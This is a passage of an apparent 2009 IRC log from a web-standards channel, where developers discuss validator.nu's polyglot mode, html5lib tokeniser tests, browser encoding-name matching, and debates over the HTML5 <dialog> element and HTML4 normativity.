TabAtkins, i have some unicorn pics to spare. wanna start the DOM Super Friends ?

[09:14:01.0000] <TabAtkins>
I'd rather start the DOM Legion of Doom.

[09:14:02.0000] <erlehmann>
that calls for a shoop. brb.

[09:15:00.0000] <TabAtkins>
Also: WebIDL means that native javascript is always going to be saddled with a Java-like interface in an attempt to be language-agnostic, so we'll never have a DOM that's actually easy to use and leverages the unique strengths and design structure of js.

[09:17:00.0000] <annevk3>
actually, Web IDL is an attempt to get away from that

[09:17:01.0000] <annevk3>
and is doing pretty well

[09:18:00.0000] <TabAtkins>
That'd be good.  I'm honestly just name-dropping, and don't understand a lot of the crazy interface descriptions you people use.  I just know that describing apis in terms of some interface language has been cited as the reason why we can't do smart things in javascript, because some languages that would implement the api don't have the relevant abilities.

[09:18:01.0000] <TabAtkins>
It is good to know that people are fixing that.

[09:20:00.0000] <annevk3>
what you're describing is roughly the problem with the original IDL language (OMGIDL) and the DOM specs that used it

[09:20:01.0000] <TabAtkins>
Cool.

[09:20:02.0000] <TabAtkins>
I am now informed, and a better consumer.

[11:13:00.0000] <aja_>
hsivonen (or whoever): noticed that since pedagogical and polyglot have been added, should not longer always have selected for permissive option....selection isn't being "remembered" 

[11:30:00.0000] <Lachy>
hsivonen, Is the polyglot checking mode still under development? I just tried it, and it failed to warn about either unquoted attributes or omitted traling slashes on void elements

[11:31:00.0000] <Lachy>
hsivonen, also, will it be a fully XML-compatible polyglot check, or just a few checks for commonly requested talismans?

[11:33:00.0000] <aja_>
Lachy: read sam's blog post?  

[11:38:00.0000] <Lachy>
aja_, I have now

[11:40:00.0000] <aja_>
note that "permissive" keeps getting selected, i.e. not remembered.  plolglot seemed to work okay on google.com anyway

[11:41:00.0000] <aja_>
s/plolglot/polyglot/

[11:48:00.0000] <rubys1>
the permissive getting re-selected problem has been fixed, but the fix hasn't yet been deployed

[11:49:00.0000] <rubys1>
Lachy: http://validator.nu/?doc=http%3A%2F%2Fgoogle.com%2F&profile=polyglot

[11:51:00.0000] <Lachy>
rubys1, I already looked at that

[11:52:00.0000] <Lachy>
also, it doesn't answer my question about what exactly it will eventually check when complete

[11:53:00.0000] <rubys1>
the only answer I can give is: whatever testcases Tantek and/or Lars provides.  Until or unless such tests are provided, I don't intend to develop this any further.

[11:53:01.0000] <rubys1>
And if such tests aren't forthcoming, I plan to remove this function.

[12:18:00.0000] <Philip`>
hsivonen: There's http://www.google.com/webmasters/tools/richsnippets?url=http://philip.html5.org/demos/rdfa/richsnippet.html

[12:19:00.0000] <Philip`>
I presume it's easy to write valid RDFa that Google won't understand or will misinterpret, too

[12:19:01.0000] <Philip`>
and I was kind of planning to look at that but I haven't got around to it

[12:23:00.0000] <Lachy>
rubys1, in that case, what significant differences do you perceive between the pedagogical and polyglot modes of validation?

[12:24:00.0000] <Lachy>
If you only intend the polyglot checker to check the specific features that get submitted as test cases, rather than a fully XHTML-compatible polyglot document checker, why do you need both modes?

[12:25:00.0000] <Lachy>
I'd rather not have a validator claim to have a polyglot checking mode, if it isn't at least fully XHTML-compatible

[12:26:00.0000] <Lachy>
(I can accept it opting to not check for things like the inclusion of tbody or LF after <pre> start tags, etc.)

[12:30:00.0000] <rubys1>
My sense is that Lars and Tantek have different goals... I'm simply prepared to track both.

[12:31:00.0000] <rubys1>
specifically, I sense that Tantek will want some checks that Lars isn't happy with

[12:32:00.0000] <Lachy>
I don't know who Lars is

[12:33:00.0000] <rubys1>
Lars Gunther

[12:33:01.0000] <Lachy>
ah, ok.

[12:34:00.0000] <rubys1>
My feeling is that a number of people want "XHTML", but when you ask specific questions about weird edge cases, they say "I don't want that".  So, I'm trying to get people to say what they really want.

[12:36:00.0000] <rubys1>
overall, I think that informational messages about implicitly closed tags would be a good thing, checking for attribute quotes is a MEH for many people, and flagging &nbsp; is something that only a few crazies will want.

[12:44:00.0000] <MikeSmith>
rubys1: qa-dev now has your latest change

[12:46:00.0000] <rubys1>
MikeSmith: not as far as I can tell

[12:47:00.0000] <rubys1>
http://validator.nu/ has profile, http://qa-dev.w3.org:8888/ does not

[12:48:00.0000] <MikeSmith>
rubys1: can you give me a test case?

[12:51:00.0000] <rubys1>
ok, test case: go to "http://qa-dev.w3.org:8888/", look for string "profile".  End of test case.

[12:53:00.0000] <MikeSmith>
rubys1: yeah, clearly not synced up. I'll go check

[12:56:00.0000] <MikeSmith>
rubys1: It seems the problem is that I've not done the "svn switch" thing it my workspace on that machine

[12:56:01.0000] <rubys1>
that would do it. :-)

[12:57:00.0000] <MikeSmith>
PITA.. thanks a lot cvsdude people

[12:57:01.0000] <rubys1>
I simply opted to do a clean checkout

[13:01:00.0000] <erlehmann>
rubys1, what weird edge cases are there in XHTML ?

[13:03:00.0000] <rubys1>
erlehmann: http://wiki.whatwg.org/wiki/HTML_vs._XHTML

[13:06:00.0000] <erlehmann>
rubys1, thats not weird on the XHTML side, at least -- its consistent.

[13:07:00.0000] <erlehmann>
/me notes the XHTML side of the comparison frequently has shorter text and no „for some elements / attributes“ clauses.

[13:09:00.0000] <rubys1>
erlehmann: my weblog is consistently well formed XML, and (except for one issue intentionally made to prove a point) valid both as XHTML5 and HTML5.

[13:12:00.0000] <gsnedders>
/me finds Opera has web compat bugs with the UCAS Apply website

[13:25:00.0000] <MikeSmith>
rubys1: OK, now qa-dev has the latest

[14:13:00.0000] <Lachy>
hsivonen, bug in validator.nu:

[14:13:01.0000] <Lachy>
"Error: Bad value “http://www.w3.org/1999/xlink” for the attribute “xmlns:link” (only “http://www.w3org/1999/xlink” permitted here).

[14:13:02.0000] <Lachy>
From line 5, column 1; to line 7, column 48

[14:13:03.0000] <Lachy>
"

[14:13:04.0000] <Lachy>
note where it incorrectly says "only “http://www.w3org/1999/xlink” permitted here"

[14:13:05.0000] <Lachy>
s/w3org/w3.org/

[14:18:00.0000] <Lachy>
hsivonen, I'll file a bug


2009-09-09
[17:02:00.0000] <annevk3>
/me wonders if the testcase format for Validator.nu is described somewhere

[17:02:01.0000] <annevk3>
in case I suddenly get interested in making polyglot tests, that is

[17:04:00.0000] <Lachy>
annevk3, I suppose you could just make them in the format used by html5lib, and then it should be fairly easy to convert to a different format if needed

[17:04:01.0000] <annevk3>
oh wow

[17:04:02.0000] <annevk3>
that latest bug report is awesome

[17:05:00.0000] <annevk3>
JavaScript people are corporate lol

[17:06:00.0000] <Lachy>
this one? [Bug 7547] New: on .drawImage() negative widths or heights should flip/mirror the image. There's no easy way of fliping images in canvas

[17:06:01.0000] <Lachy>
that's the latest one I have

[17:09:00.0000] <annevk3>
latest in yesterday's #html-wg logs then

[17:10:00.0000] <Lachy>
oh, that one. I was working on a reply to that. Not sure if I'll actually respond yet

[17:11:00.0000] <annevk3>
I take it you're bored? :)

[17:13:00.0000] <Lachy>
not really, I was doing several things at the same time

[17:14:00.0000] <Lachy>
just thought it would be useful to explain to him why having the spec defined in terms of the DOM was a good thing overall that made things simpler, not more complex

[17:19:00.0000] <and>
Is this the right channel for html5lib?

[17:19:01.0000] <Hixie>
yes

[17:19:02.0000] <tantekc>
Lachy - yeah, it's unfortunate, but better than inventing yet-another-abstraction (<cough>Infoset</cough)

[17:20:00.0000] <tantekc>
because of course, inventing yet another abstraction doesn't confuse anyone right?

[17:23:00.0000] <and>
Thanks. I have started to implement the tokeniser, and the tests in html5lib seem useful. However, I would like to make it stand-alone (i.e., possible to use without a treebuilder), and I did not find any tests for the transition to RCDATA or RAWTEXT. Are there any, or is the assumption that a real treebuilder has to be used for that?

[17:24:00.0000] <annevk3>
the tests only cover what can happen in practice

[17:25:00.0000] <annevk3>
oh wait

[17:25:01.0000] <and>
It seems possible to run the tokeniser without a real treebuilder. The only real problem seems to be foreign content inside HTML inside foreign content, but I have not really tried to figure out how that works.

[17:25:02.0000] <annevk3>
the assumption is that you need a treebuilder to switch that flag

[17:26:00.0000] <annevk3>
there should be tests that set the flag to an initial state and then test if things are tokenized correctly

[17:26:01.0000] <and>
Fair enough. Any intuition regarding how much of the treebulder is needed to get the tokenisation right?

[17:26:02.0000] <gsnedders>
Is there any reason why that can't be done in the tokenizer? Are there any cases where it's hard to tell whether it should be changed or not?

[17:26:03.0000] <gsnedders>
/me has been meaning to look into this for ages

[17:27:00.0000] <gsnedders>
Anyhow, time for my to get six hours sleep (ergh)

[17:27:01.0000] <annevk3>
i think the implementations made so far both decided it would be best in the treebuilder

[17:27:02.0000] <and>
Nested foreign content seems to be the only obvious problem.

[17:27:03.0000] <annevk3>
because it effectively depends on the tag name

[17:28:00.0000] <and>
(If I am right in thinking that the RCDATA and CDATA states are only reached after a corresponding start token.)

[17:28:01.0000] <and>
Yes, but there are just a handful of elements with CDATA/RAWTEXT or CDATA content, so that seems easy to add.

[17:29:00.0000] <and>
*CDATA/RAWTEXT or RCDATA

[17:31:00.0000] <annevk3>
and, true, I think the design of the existing implementations influenced the tests here

[17:31:01.0000] <annevk3>
though I might be missing something, been a while since I played with the parser

[17:32:00.0000] <and>
Sure.  Thanks for the information.

[17:41:00.0000] <Hixie>
and: you can't know if you'll be switching mode without a tree

[17:41:01.0000] <Hixie>
and: because sometimes start tag tokens are just dropped on the floor without switching

[17:43:00.0000] <and>
Hixie: "Sometimes"? Does this happen outside of foreign contents as well?

[17:43:01.0000] <and>
s/ as well//

[17:44:00.0000] <annevk3>
yeah

[17:44:01.0000] <annevk3>
<select> <style> xx </select> xx

[17:44:02.0000] <annevk3>
/me forgot

[17:44:03.0000] <annevk3>
only <script> is dealt with inside <select>

[17:44:04.0000] <annevk3>
<style>, <xmp>, <title>, <plaintext>, etc. are dropped on the floor

[17:48:00.0000] <and>
Right. The real question, then, is how much of the treebuilder can be ignored if the goal is not to build a tree or DOM, and the answer may not be easy to extract from the spec.

[17:51:00.0000] <Hixie>
and: what's the goal?

[17:54:00.0000] <tantek>
if the goal is just to not build a tree or DOM, one answer would be NOP. ;)  (defining things in terms of negatives - what they're not - is usually unproductive)

[17:54:01.0000] <and>
Hixie: One goal would be to look at tokenisation of character references without the treebuilder overhead, but implementing a part of the treebuilder is probably not a good idea if a substantial part is required anyway.

[17:56:00.0000] <annevk3>
/me figures out who and is by /whois

[17:56:01.0000] <annevk3>
welcome!

[17:56:02.0000] <and>
Thanks!

[17:59:00.0000] <annevk3>
still waiting to hear back on encodings from the two missing browsers; guess I'll ping them tomorrow

[17:59:01.0000] <othermaciej>
what's the encoding question?

[18:00:00.0000] <annevk3>
othermaciej, trying to fill out the tables in http://wiki.whatwg.org/wiki/Web_Encodings

[18:00:01.0000] <annevk3>
i.e. which encodings are shipping with Safari and what aliases are recognized and which matching algorithm is used to see if labels well, match

[18:01:00.0000] <Hixie>
and: you mean for a study?

[18:01:01.0000] <Hixie>
and: i think you'll end up needing a full tree builder, even if it just throws out the DOM it's creating

[18:01:02.0000] <Hixie>
and: (the tree builder only uses internal data structures, it doesn't need the output iirc)

[18:02:00.0000] <mpilgrim>
erlehmann: of course the XHTML side is shorter

[18:03:00.0000] <mpilgrim>
"fail at first error" is shorter than "parse billions of pages of existing web content according to the following 200-page algorithm"

[18:03:01.0000] <annevk3>
i'd still like to see a never-failing SAX API for HTML defined one day (where you end up with graphs I guess)

[18:04:00.0000] <mpilgrim>
i was under the impression that a SAX-like API would be difficult due to reparenting, adoption, whatever

[18:04:01.0000] <annevk3>
for quite a few non-browser use cases that would actually be better than a DOM-based API I think

[18:04:02.0000] <mpilgrim>
there are non-browser use cases?

[18:05:00.0000] <mpilgrim>
someone's been falling for roy fielding's bullshit

[18:05:01.0000] <annevk3>
mpilgrim, yeah, you'd need a distinct conformance class for such an API that can do other things there

[18:05:02.0000] <othermaciej>
annevk3: of the unanswered questions asked on the wiki, I know we use the system version of ICU on Mac, and we do use TEC on Mac only for extra encodings that are not in ICU

[18:05:03.0000] <and>
Hixie: Yes, I tried to look at the http://www.dotnetdotcom.org/ dataset, which seems to support my suspicion about the current handling of unterminated character references not being an ideal match for existing pages, but the results are rather too noisy since it is difficult to distinguish between attribute values and text without a parser.

[18:05:04.0000] <mpilgrim>
ooh, there's an encoding wiki now? where?

[18:06:00.0000] <mpilgrim>
/me reads the backscroll and retracts the question

[18:06:01.0000] <annevk3>
and, maybe use the Validator.nu HTML parser?

[18:06:02.0000] <annevk3>
othermaciej, and on Windows?

[18:07:00.0000] <othermaciej>
annevk3: our matching algorithms used to be case insensitive match ignoring addition or removal of underscores or hyphens

[18:07:01.0000] <othermaciej>
annevk3: I think we might use ICU's matching now for at least some encodings; not sure

[18:07:02.0000] <Hixie>
and: yeah

[18:07:03.0000] <othermaciej>
annevk3: on Windows we ship our own ICU and don't support any non-ICU encodings

[18:07:04.0000] <annevk3>
cheers

[18:08:00.0000] <and>
annevk3: I was hoping to get away with something more lightweight, but that is indeed a possible solution.

[18:13:00.0000] <othermaciej>
annevk3: more specifically, our encoding name comparison is:

[18:13:01.0000] <othermaciej>
"Hash for all-ASCII strings that does case folding and skips any characters that are not alphanumeric."

[18:14:00.0000] <othermaciej>
so it will ignore any extra non-alphanumeric characters, which might be more lenient than is needed

[18:14:01.0000] <annevk3>
sounds like UTS22

[18:14:02.0000] <annevk3>
I think it's actually causing you compat problems just like us

[18:15:00.0000] <othermaciej>
that's possible

[18:15:01.0000] <othermaciej>
TextEncodingRegistry.cpp is the file in our source tree that's responsible for creating all the text encoding name maps

[18:15:02.0000] <annevk3>
on crazy sites that specify EUC_JP in HTTP but are actually UTF-8 yet we recognize them as EUC-JP because of UTS22 whereas Firefox and IE don't

[18:17:00.0000] <othermaciej>
that's crazy

[18:19:00.0000] <othermaciej>
TextCodecICU::registerExtendedEncodingNames includes most of the aliases we add on top of ICU

[18:19:01.0000] <othermaciej>
Latin-1 and UTF-16 have hardcoded special-case codecs

[18:21:00.0000] <othermaciej>
for Latin-1 we register a whole lot of aliases for ISO-8859-1, windows-1252, and US-ASCII; we consider the three technically different but decode all three as WinLatin1

[18:22:00.0000] <othermaciej>
similarly we have a lot of aliases for UTF-16LE and UTF-16BE

[18:39:00.0000] <annevk3>
ta othermaciej, added some notes to look at this later

[22:59:00.0000] <mpilgrim>
http://diveintohtml5.org/detect.html

[22:59:01.0000] <mpilgrim>
feedback welcome

[22:59:02.0000] <mpilgrim>
(other than "it looks like shit in opera 10," which i already know about)

[23:01:00.0000] <roc>
where did you get these fonts?

[23:01:01.0000] <cardona507>
that looks good to me - nice fonts

[23:01:02.0000] <roc>
the page looks fantastic to me

[23:01:03.0000] <mpilgrim>
roc: http://diveintohtml5.org/about.html has links

[23:04:00.0000] <roc>
thanks

[23:05:00.0000] <roc>
I wish all your graphics were SVG, but nonetheless, great page

[23:06:00.0000] <mpilgrim>
the SVG versions are much much larger

[23:07:00.0000] <mpilgrim>
as they are basically created from scans of old books

[23:07:01.0000] <mpilgrim>
so not terribly optimized as far as vector graphics go

[23:08:00.0000] <mpilgrim>
anyway, thanks for the kind words

[23:08:01.0000] <mpilgrim>
if anyone has any technical corrections or stumbles across any bugs in the dynamic content, please let me know

[00:35:00.0000] <hsivonen>
the deadlock discussion makes me think NPAPI lets plug-ins do too many things

[00:42:00.0000] <hsivonen>
mpilgrim: Are you intentionally giving your readers the impression that Geolocation is an HTML5 feature?

[00:45:00.0000] <hsivonen>
mpilgrim: I see the Q & A now

[00:46:00.0000] <boblet>
mpilgrim: the position of the Canvas API support statement below the illustration made me think the illustration was done via Canvas. Also you’re using “HTML 5”, but I assume that’s intentional. Other than that informative and looks great

[00:48:00.0000] <hsivonen>
Hixie: even mpilgrim isn't using <figure>/<legend> yet. Maybe we really need to change the <legend> part to <c> or something

[00:49:00.0000] <hsivonen>
mpilgrim: Video for Everybody! requires authors to use a soon-to-be-royalty-bearing format

[00:49:01.0000] <Hixie>
hsivonen: i really don't understand what the rush is

[00:50:00.0000] <Hixie>
hsivonen: i wasn't expecting anyone to use 90% of this stuff for another decade

[00:50:01.0000] <hsivonen>
Hixie: is using <legend> instead of <c> worth the wait?

[00:50:02.0000] <Hixie>
yes

[00:50:03.0000] <cardona507>
another decade?

[00:51:00.0000] <hsivonen>
Hixie: for what benefit? avoiding the minting of another element

[00:51:01.0000] <hsivonen>
Hixie: when you then go ahead and mint stuff like <dialog>

[00:52:00.0000] <Hixie>
hsivonen: <c> is a dumb name. <legend> is the exact right name.

[00:52:01.0000] <hsivonen>
mpilgrim: congrats for figuring out the codecs parameters for H.264

[00:53:00.0000] <hsivonen>
mpilgrim: unfortunately, they are unlikely to be correct for video that your readers might encode

[00:53:01.0000] <hsivonen>
profiles and AVC levels FTW!

[00:55:00.0000] <tantek>
/me thinks <dialog> is a dumb name for a conversation, and there's scant data to legitimize a misconceived offhand informative example from HTML4 (dt/dd for conversations).

[00:56:00.0000] <Hixie>
tantek: is zeldman done collecting the feedback from his blog commenters yet? :-)

[00:57:00.0000] <hsivonen>
why does this stuff look like COM instead of looking like JS or even Java? http://www.forum.nokia.com/infocenter/index.jsp?topic=/Web_Developers_Library/GUID-4DDE31C7-EC0D-4EEC-BC3A-A0B0351154F8.html

[00:59:00.0000] <MikeSmith>
the think I like the least about it <dialog> is that its addition causes the semantics of the <dt> and <dd> elements to change drastically depending on what their parent element is. which seems like very suboptimal language design.

[00:59:01.0000] <Hixie>
MikeSmith: why?

[01:00:00.0000] <hsivonen>
Hixie: are you planning on saying anything about cruft in SVG subtrees?

[01:00:01.0000] <MikeSmith>
Hixie: because elements should have consistent semantics unless there's some really good reason for them not too

[01:00:02.0000] <Hixie>
hsivonen: dunno, what's the question?

[01:01:00.0000] <othermaciej>
are there other cases in HTML where semantics change significantly based on the parent element?

[01:01:01.0000] <Hixie>
MikeSmith: why?

[01:01:02.0000] <hsivonen>
Hixie: whether the cruft should be conforming despite being bogus

[01:01:03.0000] <othermaciej>
I would say semantics of <li> change depending on the parent

[01:01:04.0000] <Hixie>
hsivonen: sounds like an SVG issue, why would I say anything?

[01:01:05.0000] <othermaciej>
it's a list item in both <ul> and <ol>, but in the latter case it implies an ordering position

[01:01:06.0000] <MikeSmith>
Hixie: because it's easier for authors

[01:01:07.0000] <hsivonen>
Hixie: you caused the cruft to become non-conforming per SVG

[01:02:00.0000] <hsivonen>
Hixie: before you did your thing, SVG was coherent on this particular point

[01:02:01.0000] <tantek>
Hixie - why do you think inconsistency in element semantics is a good thing?

[01:02:02.0000] <Hixie>
MikeSmith: i don't really buy that. i don't think authors have problems with that. what makes you think they do?

[01:02:03.0000] <Hixie>
hsivonen: oh you mean in text/html?

[01:03:00.0000] <hsivonen>
Hixie: right

[01:03:01.0000] <othermaciej>
whether it's due to SVG or HTML, someone should define it

[01:03:02.0000] <othermaciej>
so it doesn't become one of those gap-between-the-spec things

[01:03:03.0000] <Hixie>
hsivonen: the text/html parsing just generates a DOM, the conformance criteria apply after that, just as if you'd created an equivalent DOM using the DOM API.

[01:03:04.0000] <Hixie>
tantek: i don't think it's inconsistent.

[01:04:00.0000] <othermaciej>
right now I think conformance of SVG in text/html is not clearly defined

[01:04:01.0000] <hsivonen>
Hixie: right, so there's demand for a definition of "bogus but conforming" that defines no-namespace attributes with a colon in their local name bogus but conforming on http://www.w3.org/2000/svg elements

[01:04:02.0000] <Hixie>
on a completely different topic, how does the UA know which private key is associated with a certificate it gets back after the server has taken the public key created by <keygen> and turned it into a client cert?

[01:04:03.0000] <MikeSmith>
othermaciej: I don't think the case of <li> is comparable. it's still an item in a list, it just happens to be two different types of lists. whereas in the case of <dialog>, <dt> and <dd> become something else completely

[01:04:04.0000] <hsivonen>
Hixie: and http://www.w3.org/2000/svg elements with a colon in their local name as bogus but conforming

[01:04:05.0000] <Hixie>
hsivonen: i have no intention of making any bogus things conforming.

[01:04:06.0000] <tantek>
MikeSmith - agreed

[01:05:00.0000] <othermaciej>
MikeSmith: I'm wondering whether there are other examples

[01:05:01.0000] <Hixie>
hsivonen: (unless there are compelling use cases that need that, like with the <br/> nonsense or the xmlns="" nonsense)

[01:05:02.0000] <othermaciej>
MikeSmith: besides, arguably, <legend>, but that's also new in HTML5

[01:05:03.0000] <hsivonen>
Hixie: do you find the SVG WG's use cases compelling?

[01:06:00.0000] <Hixie>
hsivonen: i have no idea what their use cases are. I'm assuming from the way you're talking that there's some thread i haven't read yet that is all about this.

[01:06:01.0000] <othermaciej>
Hixie: the compelling use case here is pasting output from Inkscape into an HTML document without having to do a great deal of postprocessing first

[01:06:02.0000] <othermaciej>
(well, arguably compelling)

[01:06:03.0000] <MikeSmith>
othermaciej: I can't think of any offhand. Not only can't I think of comparable examples in HTML, I can't think offhand of any in other markup vocabularies either

[01:06:04.0000] <hsivonen>
Hixie: what othermaciej said. IIRC, copying and pasting from Inkscape is part of the SVG WG's use cases

[01:07:00.0000] <Hixie>
hsivonen: inkscape litters its documents with bogus content?

[01:07:01.0000] <hsivonen>
Hixie: it sprays junk all over

[01:07:02.0000] <othermaciej>
MikeSmith: well in this case, HTML4 already gave <dt> and <dd> both sets of semantics

[01:07:03.0000] <hsivonen>
Hixie: really tedious to remove in a text editor

[01:07:04.0000] <Hixie>
hsivonen: well that sucks

[01:08:00.0000] <Hixie>
hsivonen: i'd recommend asking the inkscape guys to have an html-mode output that doesn't do taht.

[01:08:01.0000] <hsivonen>
Hixie: IIRC, Inkscape has a clean output mode already

[01:08:02.0000] <Hixie>
we don't need _more_ tag soup

[01:08:03.0000] <MikeSmith>
othermaciej: how so?

[01:08:04.0000] <Hixie>
hsivonen: oh

[01:08:05.0000] <Hixie>
hsivonen: well then

[01:09:00.0000] <Hixie>
hsivonen: problem solved

[01:09:01.0000] <hsivonen>
Hixie: the use case in taking stuff someone else saved in Inkscape and copying that

[01:09:02.0000] <hsivonen>
Hixie: from a clip art library

[01:09:03.0000] <hsivonen>
Hixie: or a Free content repository

[01:10:00.0000] <othermaciej>
MikeSmith: http://www.w3.org/TR/html401/struct/lists.html#h-10.3

[01:10:01.0000] <othermaciej>
"Another application of DL, for example, is for marking up dialogues, with each DT naming a speaker, and each DD containing his or her words."

[01:10:02.0000] <Hixie>
hsivonen: so basically the proposal is to make certain cases of xml output from certain tools conforming but not support other cases of xml output from other tools?

[01:10:03.0000] <othermaciej>
MikeSmith: HTML5 just removes that application of DL and assigns it to DIALOG

[01:11:00.0000] <tantek>
othermaciej - that's false. HTML4 only gave dt and dd one set of *normative* semantics - definition terms and definitions.

[01:12:00.0000] <othermaciej>
tantek: is the sentence I quoted a false statement of fact in the HTML4 spec, then?

[01:12:01.0000] <hsivonen>
Hixie: the idea is to bless the cruft that's already in SVG/XML in Wikimedia Commons, etc. as stuff you can copy and paste without a flurry of errors

[01:12:02.0000] <othermaciej>
(assuming it's not a conformance criterion)

[01:12:03.0000] <Philip`>
Inkscape has two different modes for saving SVG, one with loads of extra editor-specific data and one without - is the idea that both formats should be copy-and-pastable?

[01:12:04.0000] <tantek>
the conversation nonsense came from an *informative* example that was nothing more than a mistake - someone misusing semantic elements for their presentational effect

[01:12:05.0000] <Hixie>
tantek and I are like two priests both with our own interpretation of a really vague holy text

[01:13:00.0000] <othermaciej>
tantek: the sentence I quoted is not backed by an example

[01:13:01.0000] <hsivonen>
Philip`: yes, because stuff exported in the wrong mode is already out there as potential source to copy

[01:13:02.0000] <Hixie>
hsivonen: i'd recommend just coallescing the errors into one, but from what you've said it doesn't sound like something we'd want to make conforming.

[01:13:03.0000] <othermaciej>
tantek: I'd believe it was a mistake, but it does not seem any more or less normative than the rest of the DL/DT/DD definition

[01:13:04.0000] <hsivonen>
Hixie: I can try that

[01:14:00.0000] <hsivonen>
Hixie: but it won't make users happy

[01:14:01.0000] <hsivonen>
Hixie: so what's the point?

[01:14:02.0000] <tantek>
othermaciej the key phrase there is ", for example," == informative

[01:14:03.0000] <othermaciej>
hsivonen, Hixie: another claimed use case is foreign namespace content that bears the copyright notice and license for the content, and cannot legally be removed

[01:14:04.0000] <Hixie>
tantek: if you read html4 literally, 99% of the spec is non-normative and you're left with very little worth talking about.

[01:15:00.0000] <hsivonen>
othermaciej: I think that use case is based on a faulty interpretation of the CC licenses

[01:15:01.0000] <tantek>
Hixie - also not true - and I submitted a test suite with methodology to prove it.

[01:15:02.0000] <Hixie>
othermaciej: parsing an xml file as text/html removes the copyright notice.

[01:15:03.0000] <hsivonen>
othermaciej: the syntax no longer expresses a license anyway if you paste it to text/html

[01:16:00.0000] <Hixie>
tantek: your methodology was "let's make up some rules about how to get normative statements from this spec, then pretend the spec had said those were the rules"

[01:16:01.0000] <hsivonen>
othermaciej: thus, syntax looking like RDF/XML isn't appropriate for the text/html medium

[01:16:02.0000] <Hixie>
hsivonen: the point is making sure that authors say what they think they are saying

[01:16:03.0000] <othermaciej>
hsivonen: what would be the legal way to paste an SVG containing a license or copyright notice in foreign namespace content into a text/html document?

[01:17:00.0000] <tantek>
Hixie - the rules were not "made up", they were constructed based on asking the Editor what was intended by the language used.

[01:17:01.0000] <Hixie>
tantek: the editor is not a normative source.

[01:17:02.0000] <tantek>
othermaciej - if you believe it is a mistake, then you should oppose <dialog> in HTML5

[01:17:03.0000] <othermaciej>
hsivonen: replace with a faithful plain text representation?

[01:17:04.0000] <hsivonen>
othermaciej: IANAL, but writing the copyright notice and license legend in plain text next to the SVG island

[01:17:05.0000] <hsivonen>
othermaciej: possibly embellished with microdata

[01:18:00.0000] <tantek>
and that portion of the DL/DT/DD description is ", for example, " which makes it less normative

[01:18:01.0000] <Hixie>
tantek: and whether you made them up or the editor made them up doesn't change that they were made up, from the perspective of them not being in the spec.

[01:18:02.0000] <othermaciej>
tantek: I don't have the information at hand to determine with any certainty whether it was a mistake

[01:18:03.0000] <tantek>
Hixie - the editor is the source of the language of the spec, including "MUST", "SHOULD" etc., and "this section is normative" etc. thus, the editor *is* a normative source.

[01:18:04.0000] <othermaciej>
tantek: but whether it was a mistake or not doesn't seem to impact the usefulness of <dialog> (I am pretty agnostic about it)

[01:18:05.0000] <Hixie>
tantek: no, sorry. that's not how it works.

[01:18:06.0000] <othermaciej>
hsivonen: presumably you could also put it in plain text in a comment or inside <metadata>

[01:19:00.0000] <tantek>
Hixie, simple contradiction ("that's not how it works") is not an argument.

[01:19:01.0000] <Hixie>
tantek: nor is stating that it is how it works, as you are doing :-)

[01:19:02.0000] <hsivonen>
othermaciej: does SVG allow text children there?

[01:19:03.0000] <othermaciej>
hsivonen: but that's a tricky manual step, and it becomes a matter of legality, not just authoring tool leftovers

[01:19:04.0000] <hsivonen>
othermaciej: one might argue that comments are devoid of semantics

[01:20:00.0000] <tantek>
Hixie - I did not state "how it works", I explained with reasoning why the editor's use of language is normative or informative - that's part of the editor's job in writing up a spec.

[01:20:01.0000] <hsivonen>
othermaciej: well, we aren't going to make the entirety of RDF/XML work just because so people thought it was a great idea to use RDF/XML for licensing data

[01:20:02.0000] <othermaciej>
hsivonen: comments are indeed devoid of semantics, but I don't think that makes them an invalid copyright notice

[01:20:03.0000] <hsivonen>
s/so/some/

[01:21:00.0000] <Hixie>
tantek: the intent of the person writing teh spec is irrelevant to what the spec means. Only the spec, and what the spec references normatively, are relevant. Unless the spec says that a human can override it, no human can override it.

[01:21:01.0000] <othermaciej>
hsivonen: I agree that it would probably be unwise to make it "work", at least in the sense of parsing it in the intended namespaceful way, along with other foreign namespaces

[01:21:02.0000] <Hixie>
tantek: some specs do say that, e.g. the rules for Munchkin explicitly defer to the owner of the game to resolve rules disputes.

[01:21:03.0000] <Hixie>
tantek: HTML4 does not. It claims various things about itself, like use of RFC2119, and doesn't mention any editor as being some final arbiter of meaning.

[01:22:00.0000] <hsivonen>
/me wonders if RSS is like Munchkin

[01:22:01.0000] <Hixie>
tantek: therefore the only correct way to interpret HTML4's normative meaning is to read it and its references and not to make up (or have the editor make up) post-hoc rationalisations about the text of the spec.

[01:23:00.0000] <Hixie>
tantek: now as it happens, html4 is so poorly written than a literal reading is a futile exercise, as i mentioned

[01:23:01.0000] <Hixie>
tantek: and it's quite possible that a pragmatic reading with the editor's advice is a more _useful_ undertaking

[01:23:02.0000] <tantek>
Hixie - indeed, I think that is a good summary of the differences of our readings of HTML4

[01:23:03.0000] <Hixie>
tantek: but that is quite irrelevant when it comes to the point of establishing the pedantically precise normative Truth that can be determined from HTML4.

[01:25:00.0000] <Hixie>
hopefully html5 doesn't have this issue and nobody will later come and say "hey ian, what's normative?" and require that i answer in a way that isn't just pointing to the answer.

[01:25:01.0000] <tantek>
but is pedantically precise normative truth more important, or what browsers actually implement, or what authors actually publish, or ... ?

[01:25:02.0000] <tantek>
Hixie - HTML5 will have errors, it is inevitable.

[01:25:03.0000] <Hixie>
sure, but nothing as eggregious as html4, i hupe

[01:25:04.0000] <Hixie>
hope

[01:25:05.0000] <tantek>
In fact, given how big HTML5 is, there is a much higher chance it will have errors than HTML4 did/does.

[01:25:06.0000] <tantek>
have (more) errors

[01:25:07.0000] <Hixie>
i'm sure it'll have more errors too

[01:25:08.0000] <Hixie>
but a thousand typos is nothing compared to not having a normative statement about pretty much anything :-)

[01:26:00.0000] <Hixie>
anyway, what matters is what legacy content intended, and to that end I've ignored HTML4 completely in writing HTML5

[01:26:01.0000] <Hixie>
(much to Julian's dismay)

[01:26:02.0000] <othermaciej>
does the definition of <dl> in HTML4 include any of the Tantek-extended normativity keywords?

[01:26:03.0000] <othermaciej>
(I can't remember what they were)

[01:27:00.0000] <othermaciej>
also, does anyone actually use <dl> for marking up conversations (thereby indicating a need for some more suitable way to do so)?

[01:28:00.0000] <tantek>
othermaciej - http://www.w3.org/MarkUp/Test/HTML401/current/assertions/prologue.html

[01:29:00.0000] <tantek>
which is part of http://www.w3.org/MarkUp/Test/HTML401/current/assertions/assertions_toc.html

[01:29:01.0000] <tantek>
referenced by http://www.w3.org/MarkUp/Test/HTML401/current/htmltestdocumentation.html

[01:30:00.0000] <othermaciej>
tantek: does "is" count as a case of "are"?

